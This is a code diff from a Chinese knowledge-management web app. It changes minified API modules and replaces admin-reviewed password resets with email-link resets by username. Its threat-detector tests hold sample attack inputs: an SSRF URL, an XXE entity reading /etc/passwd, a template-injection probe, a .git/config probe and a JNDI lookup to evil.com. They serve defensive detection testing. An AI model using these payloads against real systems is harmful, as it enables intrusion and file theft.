+import{p as c}from"./index-CEOd73lG.js";async function o(t={}){const{data:a}=await c.get("/accounts",{params:t});return a}async function u(t){const{data:a}=await c.post("/accounts",t);return a}async function r(t,a){const{data:n}=await c.put(`/accounts/${t}`,a);return n}async function e(t){const{data:a}=await c.delete(`/accounts/${t}`);return a}async function i(t,a){const{data:n}=await c.put(`/accounts/${t}/remark`,a);return n}async function p(t,a){const{data:n}=await c.post(`/accounts/${t}/start`,a);return n}async function d(t){const{data:a}=await c.post(`/accounts/${t}/stop`,{});return a}async function f(t){const{data:a}=await c.post("/accounts/batch/start",t);return a}async function w(t){const{data:a}=await c.post("/accounts/batch/stop",t);return a}async function y(){const{data:t}=await c.post("/accounts/clear",{});return t}async function A(t,a={}){const{data:n}=await c.post(`/accounts/${t}/screenshot`,a);return n}export{w as a,f as b,y as c,d,e,o as f,u as g,i as h,p as s,A as t,r as u};

static/app/assets/auth-WsWSY0rn.js

@@ -0,0 +1 @@
+import{p as s}from"./index-CEOd73lG.js";async function r(){const{data:a}=await s.get("/email/verify-status");return a}async function o(){const{data:a}=await s.post("/generate_captcha",{});return a}async function e(a){const{data:t}=await s.post("/login",a);return t}async function i(a){const{data:t}=await s.post("/register",a);return t}async function c(a){const{data:t}=await s.post("/resend-verify-email",a);return t}async function f(a){const{data:t}=await s.post("/forgot-password",a);return t}async function u(a){const{data:t}=await s.post("/reset-password-confirm",a);return t}export{f as a,i as b,u as c,r as f,o as g,e as l,c as r};

static/app/assets/auth-cf7b3Gq2.js

@@ -1 +0,0 @@
-import{p as s}from"./index-DhsLPY8p.js";async function r(){const{data:t}=await s.get("/email/verify-status");return t}async function e(){const{data:t}=await s.post("/generate_captcha",{});return t}async function o(t){const{data:a}=await s.post("/login",t);return a}async function i(t){const{data:a}=await s.post("/register",t);return a}async function c(t){const{data:a}=await s.post("/resend-verify-email",t);return a}async function u(t){const{data:a}=await s.post("/forgot-password",t);return a}async function f(t){const{data:a}=await s.post("/reset_password_request",t);return a}async function d(t){const{data:a}=await s.post("/reset-password-confirm",t);return a}export{u as a,c as b,i as c,d,r as f,e as g,o as l,f as r};

static/app/assets/password-7ryi82gE.js

@@ -1 +0,0 @@
-function s(t){const e=String(t||"");return e.length<8?{ok:!1,message:"密码长度至少8位"}:!/[a-zA-Z]/.test(e)||!/\d/.test(e)?{ok:!1,message:"密码必须包含字母和数字"}:{ok:!0,message:""}}export{s as v};

static/app/index.html

@@ -4,7 +4,7 @@
     <meta charset="UTF-8" />
     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0" />
     <title>知识管理平台</title>
-    <script type="module" crossorigin src="./assets/index-DhsLPY8p.js"></script>
+    <script type="module" crossorigin src="./assets/index-CEOd73lG.js"></script>
     <link rel="stylesheet" crossorigin href="./assets/index-CD3NfpmF.css">
   </head>
   <body>

templates/admin_legacy.html

@@ -754,9 +754,6 @@
             <div id="tab-pending" class="tab-content active">
                 <h3 style="margin-bottom: 15px; font-size: 16px;">用户注册审核</h3>
                 <div id="pendingUsersList"></div>
-
-                <h3 style="margin-top: 30px; margin-bottom: 15px; font-size: 16px;">密码重置审核</h3>
-                <div id="passwordResetsList"></div>
             </div>
 
             <!-- 所有用户 -->
@@ -1536,7 +1533,6 @@
             loadAnnouncements();
             loadSystemConfig();
             loadProxyConfig();
-            loadPasswordResets();  // 修复: 初始化时也加载密码重置申请
             loadFeedbacks();  // 加载反馈统计更新徽章
 
             // 恢复上次的标签页
@@ -2771,112 +2767,9 @@
             } else if (tabName === 'logs') {
                 loadLogUserOptions();
                 loadTaskLogs();
-            } else if (tabName === 'pending') {
-                loadPasswordResets();
             }
         };
 
-        // ==================== 密码重置功能 ====================
-
-        let passwordResets = [];
-
-        // 加载密码重置申请列表
-        async function loadPasswordResets() {
-            try {
-                const response = await fetch('/yuyx/api/password_resets');
-                if (response.ok) {
-                    passwordResets = await response.json();
-                    renderPasswordResets();
-                }
-            } catch (error) {
-                console.error('加载密码重置申请失败:', error);
-            }
-        }
-
-        // 渲染密码重置申请列表
-        function renderPasswordResets() {
-            const container = document.getElementById('passwordResetsList');
-
-            if (passwordResets.length === 0) {
-                container.innerHTML = '<div class="empty-message">暂无密码重置申请</div>';
-                return;
-            }
-
-            container.innerHTML = `
-                <div class="table-container">
-                    <table>
-                        <thead>
-                            <tr>
-                                <th>申请ID</th>
-                                <th>用户名</th>
-                                <th>邮箱</th>
-                                <th>申请时间</th>
-                                <th>操作</th>
-                            </tr>
-                        </thead>
-                        <tbody>
-                            ${passwordResets.map(reset => `
-                                <tr>
-                                    <td>${reset.id}</td>
-                                    <td><strong>${escapeHtml(reset.username)}</strong></td>
-                                    <td>${escapeHtml(reset.email || '-')}</td>
-                                    <td>${escapeHtml(reset.created_at)}</td>
-                                    <td>
-                                        <div class="action-buttons">
-                                            <button class="btn btn-small btn-success" onclick="approvePasswordReset(${reset.id})">批准</button>
-                                            <button class="btn btn-small btn-danger" onclick="rejectPasswordReset(${reset.id})">拒绝</button>
-                                        </div>
-                                    </td>
-                                </tr>
-                            `).join('')}
-                        </tbody>
-                    </table>
-                </div>
-            `;
-        }
-
-        // 批准密码重置申请
-        async function approvePasswordReset(requestId) {
-            if (!confirm('确定批准该密码重置申请吗？')) return;
-
-            try {
-                const response = await fetch(`/yuyx/api/password_resets/${requestId}/approve`, {
-                    method: 'POST'
-                });
-
-                const data = await response.json();
-                if (response.ok) {
-                    showNotification('密码重置申请已批准', 'success');
-                    loadPasswordResets();
-                } else {
-                    showNotification('批准失败: ' + data.error, 'error');
-                }
-            } catch (error) {
-                showNotification('批准失败: ' + error.message, 'error');
-            }
-        }
-
-        // 拒绝密码重置申请
-        async function rejectPasswordReset(requestId) {
-            if (!confirm('确定拒绝该密码重置申请吗？')) return;
-
-            try {
-                const response = await fetch(`/yuyx/api/password_resets/${requestId}/reject`, {
-                    method: 'POST'
-                });
-
-                const data = await response.json();
-                if (response.ok) {
-                    showNotification('密码重置申请已拒绝', 'success');
-                    loadPasswordResets();
-                } else {
-                    showNotification('拒绝失败: ' + data.error, 'error');
-                }
-            } catch (error) {
-                showNotification('拒绝失败: ' + error.message, 'error');
-            }
-        }
-
         // 管理员直接重置用户密码
         async function resetUserPassword(userId) {
             const newPassword = prompt('请输入新密码（至少6位）:');

templates/login.html

@@ -200,13 +200,13 @@
     </div>
     <div id="forgotPasswordModal" class="modal-overlay" onclick="if(event.target===this)closeForgotPassword()">
         <div class="modal">
-            <div class="modal-header"><h2>重置密码</h2><p id="resetModalDesc">填写信息后等待管理员审核</p></div>
+            <div class="modal-header"><h2>找回密码</h2><p id="resetModalDesc">输入用户名，我们将发送重置链接到绑定邮箱</p></div>
             <div class="modal-body">
                 <div id="modalErrorMessage" class="message error"></div>
                 <div id="modalSuccessMessage" class="message success"></div>
-                <!-- 邮件重置方式（启用邮件功能时显示） -->
+                <!-- 邮件找回方式 -->
                 <form id="emailResetForm" onsubmit="handleEmailReset(event)" style="display: none;">
-                    <div class="form-group"><label>邮箱</label><input type="email" id="emailResetEmail" placeholder="请输入注册邮箱" required></div>
+                    <div class="form-group"><label>用户名</label><input type="text" id="emailResetUsername" placeholder="请输入用户名" required></div>
                     <div class="form-group">
                         <label>验证码</label>
                         <div class="captcha-row">
@@ -216,16 +216,10 @@
                         </div>
                     </div>
                 </form>
-                <!-- 管理员审核方式（未启用邮件功能时显示） -->
-                <form id="resetPasswordForm" onsubmit="handleResetPassword(event)">
-                    <div class="form-group"><label>用户名</label><input type="text" id="resetUsername" placeholder="请输入用户名" required></div>
-                    <div class="form-group"><label>邮箱（可选）</label><input type="email" id="resetEmail" placeholder="用于验证身份"></div>
-                    <div class="form-group"><label>新密码</label><input type="password" id="resetNewPassword" placeholder="至少8位，包含字母和数字" required></div>
-                </form>
             </div>
             <div class="modal-footer">
                 <button type="button" class="btn-secondary" onclick="closeForgotPassword()">取消</button>
-                <button type="button" class="btn-primary" id="resetSubmitBtn" onclick="submitResetForm()">提交申请</button>
+                <button type="button" class="btn-primary" id="resetSubmitBtn" onclick="submitResetForm()">发送重置邮件</button>
             </div>
         </div>
     </div>
@@ -299,51 +293,24 @@
             document.getElementById('modalErrorMessage').style.display = 'none';
             document.getElementById('modalSuccessMessage').style.display = 'none';
 
-            // 根据邮件功能状态切换显示
-            if (emailEnabled) {
             document.getElementById('emailResetForm').style.display = 'block';
-                document.getElementById('resetPasswordForm').style.display = 'none';
-                document.getElementById('resetModalDesc').textContent = '输入注册邮箱，我们将发送重置链接';
             document.getElementById('resetSubmitBtn').textContent = '发送重置邮件';
+            document.getElementById('resetSubmitBtn').disabled = !emailEnabled;
+            if (emailEnabled) {
+                document.getElementById('resetModalDesc').textContent = '输入用户名，我们将发送重置链接到绑定邮箱';
                 await generateEmailResetCaptcha();
             } else {
-                document.getElementById('emailResetForm').style.display = 'none';
-                document.getElementById('resetPasswordForm').style.display = 'block';
-                document.getElementById('resetModalDesc').textContent = '填写信息后等待管理员审核';
-                document.getElementById('resetSubmitBtn').textContent = '提交申请';
+                document.getElementById('resetModalDesc').textContent = '邮件功能未启用，无法通过邮箱找回密码。请联系管理员重置密码。';
             }
         }
         function closeForgotPassword() {
             document.getElementById('forgotPasswordModal').classList.remove('active');
-            document.getElementById('resetPasswordForm').reset();
             document.getElementById('emailResetForm').reset();
             document.getElementById('modalErrorMessage').style.display = 'none';
             document.getElementById('modalSuccessMessage').style.display = 'none';
         }
         function submitResetForm() {
-            if (emailEnabled) {
             document.getElementById('emailResetForm').dispatchEvent(new Event('submit'));
-            } else {
-                document.getElementById('resetPasswordForm').dispatchEvent(new Event('submit'));
-            }
-        }
-        async function handleResetPassword(event) {
-            event.preventDefault();
-            const username = document.getElementById('resetUsername').value.trim();
-            const email = document.getElementById('resetEmail').value.trim();
-            const newPassword = document.getElementById('resetNewPassword').value.trim();
-            const errorDiv = document.getElementById('modalErrorMessage');
-            const successDiv = document.getElementById('modalSuccessMessage');
-            errorDiv.style.display = 'none'; successDiv.style.display = 'none';
-            if (!username || !newPassword) { errorDiv.textContent = '用户名和新密码不能为空'; errorDiv.style.display = 'block'; return; }
-            if (newPassword.length < 8) { errorDiv.textContent = '密码长度至少8位'; errorDiv.style.display = 'block'; return; }
-            if (!/[a-zA-Z]/.test(newPassword) || !/\d/.test(newPassword)) { errorDiv.textContent = '密码必须包含字母和数字'; errorDiv.style.display = 'block'; return; }
-            try {
-                const response = await fetch('/api/reset_password_request', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ username, email, new_password: newPassword }) });
-                const data = await response.json();
-                if (response.ok) { successDiv.textContent = '申请已提交，请等待审核'; successDiv.style.display = 'block'; setTimeout(closeForgotPassword, 2000); }
-                else { errorDiv.textContent = data.error || '申请失败'; errorDiv.style.display = 'block'; }
-            } catch (error) { errorDiv.textContent = '网络错误'; errorDiv.style.display = 'block'; }
         }
         async function generateCaptcha() { try { const response = await fetch('/api/generate_captcha', { method: 'POST', headers: { 'Content-Type': 'application/json' } }); const data = await response.json(); if (data.session_id && data.captcha_image) { captchaSession = data.session_id; document.getElementById('captchaImage').src = data.captcha_image; } } catch (error) { console.error('生成验证码失败:', error); } }
         async function refreshCaptcha() { await generateCaptcha(); document.getElementById('captcha').value = ''; }
@@ -362,20 +329,20 @@
         async function refreshEmailResetCaptcha() { await generateEmailResetCaptcha(); document.getElementById('emailResetCaptcha').value = ''; }
         async function handleEmailReset(event) {
             event.preventDefault();
-            const email = document.getElementById('emailResetEmail').value.trim();
+            const username = document.getElementById('emailResetUsername').value.trim();
             const captcha = document.getElementById('emailResetCaptcha').value.trim();
             const errorDiv = document.getElementById('modalErrorMessage');
             const successDiv = document.getElementById('modalSuccessMessage');
             errorDiv.style.display = 'none'; successDiv.style.display = 'none';
 
-            if (!email) { errorDiv.textContent = '请输入邮箱'; errorDiv.style.display = 'block'; return; }
+            if (!username) { errorDiv.textContent = '请输入用户名'; errorDiv.style.display = 'block'; return; }
             if (!captcha) { errorDiv.textContent = '请输入验证码'; errorDiv.style.display = 'block'; return; }
 
             try {
                 const response = await fetch('/api/forgot-password', {
                     method: 'POST',
                     headers: { 'Content-Type': 'application/json' },
-                    body: JSON.stringify({ email, captcha_session: emailResetCaptchaSession, captcha })
+                    body: JSON.stringify({ username, captcha_session: emailResetCaptchaSession, captcha })
                 });
                 const data = await response.json();
                 if (response.ok) {

tests/test_threat_detector.py

@@ -59,6 +59,34 @@ def test_command_injection_scores_85():
     assert any(r.threat_type == C.THREAT_TYPE_COMMAND_INJECTION and r.score == 85 for r in results)
 
 
+def test_ssrf_scores_75():
+    detector = ThreatDetector()
+    results = detector.scan_input("http://127.0.0.1/admin", "url")
+    assert any(r.threat_type == C.THREAT_TYPE_SSRF and r.score == 75 for r in results)
+
+
+def test_xxe_scores_85():
+    detector = ThreatDetector()
+    payload = """<?xml version="1.0"?>
+    <!DOCTYPE foo [
+      <!ENTITY xxe SYSTEM "file:///etc/passwd">
+    ]>"""
+    results = detector.scan_input(payload, "xml")
+    assert any(r.threat_type == C.THREAT_TYPE_XXE and r.score == 85 for r in results)
+
+
+def test_template_injection_scores_70():
+    detector = ThreatDetector()
+    results = detector.scan_input("Hello {{ 7*7 }}", "tpl")
+    assert any(r.threat_type == C.THREAT_TYPE_TEMPLATE_INJECTION and r.score == 70 for r in results)
+
+
+def test_sensitive_path_probe_scores_40():
+    detector = ThreatDetector()
+    results = detector.scan_input("/.git/config", "path")
+    assert any(r.threat_type == C.THREAT_TYPE_SENSITIVE_PATH_PROBE and r.score == 40 for r in results)
+
+
 def test_scan_request_picks_up_args():
     app = Flask(__name__)
     detector = ThreatDetector()
@@ -66,4 +94,3 @@ def test_scan_request_picks_up_args():
     with app.test_request_context("/?q=${jndi:ldap://evil.com/a}"):
         results = detector.scan_request(request)
         assert any(r.field_name == "args.q" and r.threat_type == C.THREAT_TYPE_JNDI_INJECTION and r.score == 100 for r in results)
-